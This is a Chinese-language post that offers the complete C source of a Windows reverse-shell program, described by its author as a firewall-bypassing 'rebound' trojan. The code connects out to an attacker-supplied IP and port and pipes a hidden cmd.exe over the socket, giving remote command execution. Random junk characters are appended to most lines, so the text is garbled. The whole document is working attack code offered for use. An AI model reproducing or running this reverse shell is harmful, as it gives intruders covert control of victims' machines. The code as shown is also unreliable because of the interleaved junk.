这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w|Cx>8P8@
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/* ============================== p]G3)s@>
Rebound port in Windows NT w!^~<{Kz
By wind,2006/7 MHj,<|8Q
===============================*/ |pZUlQbb
#include Td\o9
#include O'*@ Ytn
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#pragma comment(lib,"wsock32.lib") 0$ .m_0H
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void OutputShell(); _s.;eHp,
SOCKET sClient; AIijCL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n| !@1sd
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void main(int argc,char **argv) AasZuO_I
{ `RRE(SiKU
WSADATA stWsaData; N!&:rK
int nRet; _RkuBOv@e
SOCKADDR_IN stSaiClient,stSaiServer; 1=}qBR#scY
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if(argc != 3) Y'VBz{brf
{ njPPztv/@
printf("Useage:\n\rRebound DestIP DestPort\n"); hcCp,b
return; !BIOY!M
} 9SQ4cv*2
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WSAStartup(MAKEWORD(2,2),&stWsaData); q%YV$$c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0ZpFE&
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stSaiClient.sin_family = AF_INET; (7FW9X;
stSaiClient.sin_port = htons(0); LtgXShp_!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,,L2(N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &BE
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{ o(kM9G|
printf("Bind Socket Failed!\n"); arK_oh0B
return; {No L
} a`Qot
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stSaiServer.sin_family = AF_INET; )v4b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \00DqL(Oj`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vxQ8t!-u
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) una%[jTc
{ nKr9#JebRC
printf("Connect Error!"); Fm_y&7._
return; |]=2 }%1w
} Q _iO(qu
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OutputShell(); ti5HrKIw
} F^$led1/F
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void OutputShell() K5t0L!6<+
{ !5@_j,lW(
char szBuff[1024]; Os%n{_#8
SECURITY_ATTRIBUTES stSecurityAttributes; T GB_~Bqe
OSVERSIONINFO stOsversionInfo; Z;Rp+X
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pv!oz2w1
STARTUPINFO stStartupInfo; [%A4]QzWh
char *szShell; ?(6m VyIe
PROCESS_INFORMATION stProcessInformation; U:6W+p8
unsigned long lBytesRead; 5+Mdh`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tMx}*l|]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V&]DzjT/
stSecurityAttributes.lpSecurityDescriptor = 0; pE.PX
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stSecurityAttributes.bInheritHandle = TRUE; I&|f'pn^<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &hIRd,1#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <+#oBN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kUx&pYv
stStartupInfo.wShowWindow = SW_HIDE; 8e~|.wOL
stStartupInfo.hStdInput = hReadPipe; g?v\!/~(u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?jQ](i&
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GetVersionEx(&stOsversionInfo); >kZ57,
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switch(stOsversionInfo.dwPlatformId) /.Nov
{ fQK"h
case 1: /2M.~3gQ
szShell = "command.com"; nR>r2wMk@
break; RF!a//
default: iZ3W"Vd`b
szShell = "cmd.exe"; VQI(Vp|
break; E`H$YS3o
} XZNY4/25G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \'CN
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send(sClient,szMsg,77,0); }V;+l8
while(1) 3l<S}k@M)
{ 'V+dBt3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B\*@krI@
if(lBytesRead) jDM
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{ spofLu.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;{[>&4
send(sClient,szBuff,lBytesRead,0); {4aWR><
}
}}<Z,/O
else Nr<`Z
{ mnk"Vr` L
lBytesRead=recv(sClient,szBuff,1024,0); { x0 t
if(lBytesRead<=0) break; H=g.34
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X;F?:Iw \
} 8;Fn7k_Uf
} V}o n|A
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return; oY~ Dg
}